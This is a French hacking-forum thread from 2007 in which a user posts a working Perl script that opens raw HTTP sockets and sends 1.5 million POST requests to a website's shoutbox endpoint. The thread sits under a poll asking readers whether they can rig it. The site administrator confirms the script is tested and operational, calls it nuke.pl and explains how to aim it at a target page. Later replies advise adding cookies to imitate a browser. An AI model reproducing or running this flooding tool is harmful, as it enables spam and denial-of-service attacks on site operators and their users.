Perl

Moderators: bfs05, Mod

Arrivez vous a truquer ce sondage ???

1
3
27%
2
0
No votes
3
0
No votes
4
1
9%
5
1
9%
6
0
No votes
7
0
No votes
8
0
No votes
9
0
No votes
10
6
55%
 
Total votes : 11

Perl

Postby iMhack » Thu Jul 19, 2007 5:32 pm

Voilà un petit code en Perl... A vous de trouver à quoi il sert (Vu sur ce site)

A éditer avec HTTP Live Headers:

print $sock "POST /index.php?nav=com HTTP/1.1\n";

$postit = "msg=Hello&user_code=&nav=com";



#!/usr/bin/perl

use IO::Socket;

$x = 0;

print q(
iMhack > Bienvenue sur hackbbs.org

);
print q(Host |SANS-> http://www.| );

$host = <STDIN>;
chop ($host);

while($x !=1500000)

{


$postit = "msg=Je+suis+un+lammer&nav=com";

$lrg = length $postit;

my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",

Proto => "tcp",
);
die "\nPlus D'Espace Dans Tes Sockets !! Verifire Tes Sockets... : $!\n" unless $sock;

print $sock "POST /bin/communication/shootbox2.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, imag/jpeg, image/pjpeg, application/x-shockwave-flash, applications/vnd.ms-exel, applicationmsword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

syswrite STDOUT, "-lammer_c_est_mal";
}


EDIT : http://bereski.free.fr/perl/fperl16.html à inclure
Last edited by iMhack on Fri Jul 20, 2007 10:34 pm, edited 4 times in total.
User avatar
iMhack
 
Posts: 97
Joined: Tue Jul 17, 2007 12:28 pm
Location: 0.0.0.0

ugh

Postby Korigan » Fri Jul 20, 2007 10:34 am

Salut à toi et GG pour ton script :)
Testé et opérationel :)
Il faut juste changer la 1ere ligne et mettre à la place:

[code:1:8dc83ab240]#!/usr/bin/perl[/code:1:8dc83ab240]

ou alors le chemin vers votre propre perl

Ne pas oublier de faire un chmod u+x le nom du script

Puis il se lance en tapant:

[code:1:8dc83ab240]perl ./nuke.pl[/code:1:8dc83ab240]

Ensuite en argument on met le nom de la page à flooder :p

@pluuuus
Mik[/code]
User avatar
Korigan
Site Admin
 
Posts: 1781
Joined: Tue May 29, 2007 6:57 pm

Postby iMhack » Mon Aug 13, 2007 12:22 pm

Et pour gérer les cookies ??? Je met "Cookie : $cookie\n" ???
User avatar
iMhack
 
Posts: 97
Joined: Tue Jul 17, 2007 12:28 pm
Location: 0.0.0.0

Ugh

Postby Korigan » Wed Aug 15, 2007 3:49 pm

Oui, il faut respecter le protocole http.
Tu ecrit sur la socket ce qui serait envoyé par ton navigateur ^^
User avatar
Korigan
Site Admin
 
Posts: 1781
Joined: Tue May 29, 2007 6:57 pm

Postby stickmen » Wed Oct 17, 2007 12:22 am

peux tu mettre un tuto du scipt merci
stickmen
Projets
 
Posts: 1
Joined: Mon Jul 23, 2007 1:53 am

Postby Korigan » Mon Oct 22, 2007 6:44 pm

Qu'entends tu par tuto de script?
Sinon si tu veux apprendre à faire du perl ou du php tu pourrais aller voir sur le site du zero.
Si tu souhaites développer un script particulier, tu le soumet et on te le corrige pas de soucis :)
User avatar
Korigan
Site Admin
 
Posts: 1781
Joined: Tue May 29, 2007 6:57 pm

Postby jak » Sun Feb 10, 2008 7:39 pm

sur le site du zero je n' ai pas trouvé de tuto pour le perl!
User avatar
jak
Projets
 
Posts: 162
Joined: Sun Dec 30, 2007 1:16 pm


Return to Visual Basic 6

Who is online

Users browsing this forum: No registered users and 0 guests

cron